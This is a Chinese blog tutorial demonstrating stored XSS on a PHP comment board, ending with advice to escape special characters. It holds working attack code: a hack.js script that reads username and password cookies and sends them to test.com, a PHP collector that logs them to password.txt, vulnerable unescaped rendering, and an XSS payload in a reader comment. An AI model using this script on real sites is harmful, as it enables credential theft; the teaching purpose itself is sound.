文档章节

xss攻击简单实例

凡尘里的一根葱
 凡尘里的一根葱
发布于 2015/12/02 10:59
字数 787
阅读 569
收藏 6

一个简单的留言板攻击实例

我们有个页面用于允许用户发表留言,然后在页面底部显示留言列表

<!DOCTYPE html><html><head>
    <?php include('/components/headerinclude.php');?></head>
    <style type="text/css">
        .comment-title{
            font-size:14px;
            margin: 6px 0px 2px 4px;
        }

        .comment-body{
            font-size: 14px;
            color:#ccc;
            font-style: italic;
            border-bottom: dashed 1px #ccc;
            margin: 4px;
        }
    </style>
    <script type="text/javascript" src="/js/cookies.js"></script><body>
    <form method="post" action="list.php">
        <div style="margin:20px;">
            <div style="font-size:16px;font-weight:bold;">Your Comment</div>
            <div style="padding:6px;">
                Nick Name:                <br/>
                <input name="name" type="text" style="width:300px;"/>
            </div>
            <div style="padding:6px;">
                Comment:                <br/>
                <textarea name="comment" style="height:100px; width:300px;"></textarea>
            </div>
            <div style="padding-left:230px;">
                <input type="submit" value="POST" style="padding:4px 0px; width:80px;"/>
            </div>
            <div style="border-bottom:solid 1px #fff;margin-top:10px;">
                <div style="font-size:16px;font-weight:bold;">Comments</div>
            </div>
            <?php 
                require('/components/comments.php'); 
                if(!empty($_POST['name'])){
                    addElement($_POST['name'],$_POST['comment']);
                }
                renderComments();            ?>
        </div>
    </form></body></html>

addElement()方法用于添加新的留言,而renderComments()方法用于展留言列表,网页看起来是这样的

image

XSS

因为我们完全信任了用户输入,但有些别有用心的用户会像这样的输入

image

这样无论是谁访问这个页面的时候控制台都会输出“Hey you are a fool fish!”,如果这只是个恶意的小玩笑,有些人做的事情就不可爱了,有些用户会利用这个漏洞窃取用户信息、诱骗人打开恶意网站或者下载恶意程序等,看个最简单的例子


利用xss窃取用户名密码

当然这个示例很简单,几乎攻击不到任何网站,仅仅看看其原理。我们知道很多登陆界面都有记住用户名、密码的功能方便用户下次登录,有些网站是直接用明文记录用户名、密码,恶意用户注册账户登录后使用简单工具查看cookie结构名称后,如果网站有xss漏洞,那么简单的利用jsonp就可以获取其它用户的用户名、密码了。

恶意用户会这么输入

image

我们看看http://test.com/hack.js里藏了什么

var username=CookieHelper.getCookie('username').value;
var password=CookieHelper.getCookie('password').value;
var script =document.createElement('script');
script.src='http://test.com/index.php?username='+username+'&password='+password;
document.body.appendChild(script);

几句简单的javascript,获取cookie中的用户名密码,利用jsonp把向http://test.com/index.php

发送了一个get请求

http://test.com/index.php

<?php    
if(!empty($_GET['password'])){        
$username=$_GET['username'];        
$password=$_GET['password'];        
      try{           
         $path=$_SERVER["DOCUMENT_ROOT"].'/password.txt';            
         $fp=fopen($path,'a');            
         flock($fp, LOCK_EX);            
         fwrite($fp, "$username\t $password\r\n");           
         flock($fp, LOCK_UN);            
         fclose($fp);
     }catch(Exception $e){

      }
    }
?>

这样恶意用户就把访问留言板的用户的信息窃取了


怎么预防

上面演示的是一个非常简单的XSS攻击,还有很多隐蔽的方式,但是其核心都是利用了脚本注入,因此我们解决办法其实很简单,不信赖用户输入,对特殊字符如”<”,”>”转义,就可以从根本上防止这一问题,当然很多解决方案都对XSS做了特定限制。但防不胜防,总有些聪明的恶意用户会到我们的网站搞破坏,对自己站点不放心可以看看这个XSS跨站测试代码大全试试站点是否安全。


本文转载自:

共有 人打赏支持
凡尘里的一根葱
粉丝 36
博文 101
码字总数 12056
作品 0
深圳
程序员
加载中

评论(1)

r
rudy_24
<IMG src="javascript:alert('XSS');">
XSS跨站脚本攻击过程最简单演示

大多数人对于XSS的原理有一个基本认识,这里不再重复,只给出一个能够演示其原理的完整样例。 1 角色分配 有XXS漏洞的网站,IP地址172.16.35.135,PHP为开发语言 受害访问者,IP地址172.16....

笨小熊
2016/11/13
206
0
如何预防 XSS 攻击

XSS攻击是什么 XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性。其原理是攻击者向有XSS漏洞的网站...

一介布衣
2015/09/16
0
0
记一次简单的XSS攻击实验

之前就对XSS有所耳闻,不过昨天在学习《深入浅出nodejs》过程中,才深入了解到XSS攻击的原理,于是找到那本很早就想看的《web前端黑客技术解密》,找到 跨站攻击脚本XSS 章节,于是有了下面这...

趁你还年轻233
2017/12/02
0
0
Web-安全-学习资料(很全)​

看原文 看原文 看原文 Web-安全-学习资料(很全) Web-Security-Learning 在学习web安全的过程中整合的一些资料。 该repo会不断更新,最近更新日期为:2017/9/19。 9月19日更新: 新收录文章...

Ho0oH
2017/09/26
0
0
xss攻击的初步了解

什么是XSS攻击 XSS又叫CSS (Cross Site Script) ,跨站脚本攻击。它指的是恶意攻击者往Web页面里插入恶意HTML代码和客户端脚本,当用户浏览该页之时,嵌入其中Web里面的html代码会被执行,从而...

凡尘里的一根葱
2015/12/02
61
0

没有更多内容

加载失败,请刷新页面

加载更多

一步步编写自己的PHP爬取代理IP项目(二)

这一章节我们正式开展我们的爬虫项目,首先我们先要知道哪个网站能获取到免费代理IP,目前比较火的有西刺代理,快代理等,这里我们拿西刺代理作为例子。 这里就是一个个免费的IP地址以及各自...

NateHuang
28分钟前
1
0
11-利用思维导图梳理JavaSE-Java的反射机制

11-利用思维导图梳理JavaSE-Java的反射机制 主要内容 1.反射与Class类 1.1.反射概念 1.2.Class类 1.3.实例化Class类 1.4.反射的作用 1.5.Class对象的作用 2.反射的深入应用 2.1.调用无参的成...

飞鱼说编程
34分钟前
1
0
How to serve the world from home computer?

最近在开发web应用,很想知道,通过公网来访问,效果会不会好。今天在做家务的时候,突然想到,如果我自己写一个ip转发的工具,不就可以实现了吗?但是转过头一想,这么大众的想法,怎么会没...

pearma
50分钟前
1
0
今天在码云遇到一个很有意思的人 for Per.js

今天在码云遇到一个很有意思的人,他在我的Per.js项目下面评论了一句,大意为“你试试这句代码,看看速度到底是你快还是Vue快”【当然,这个评论被我手残不小心删掉了...】。 然后我就试了,...

Skyogo
今天
50
0
Java -------- 首字母相关排序总结

Java 字符串数组首字母排序 字符串数组按首字母排序:(区分大小写) String[] strings = new String[]{"ba","aa","CC","Ba","DD","ee","dd"}; Arrays.sort(strings); for (int i ...

切切歆语
今天
4
0

没有更多内容

加载失败,请刷新页面

加载更多

返回顶部
顶部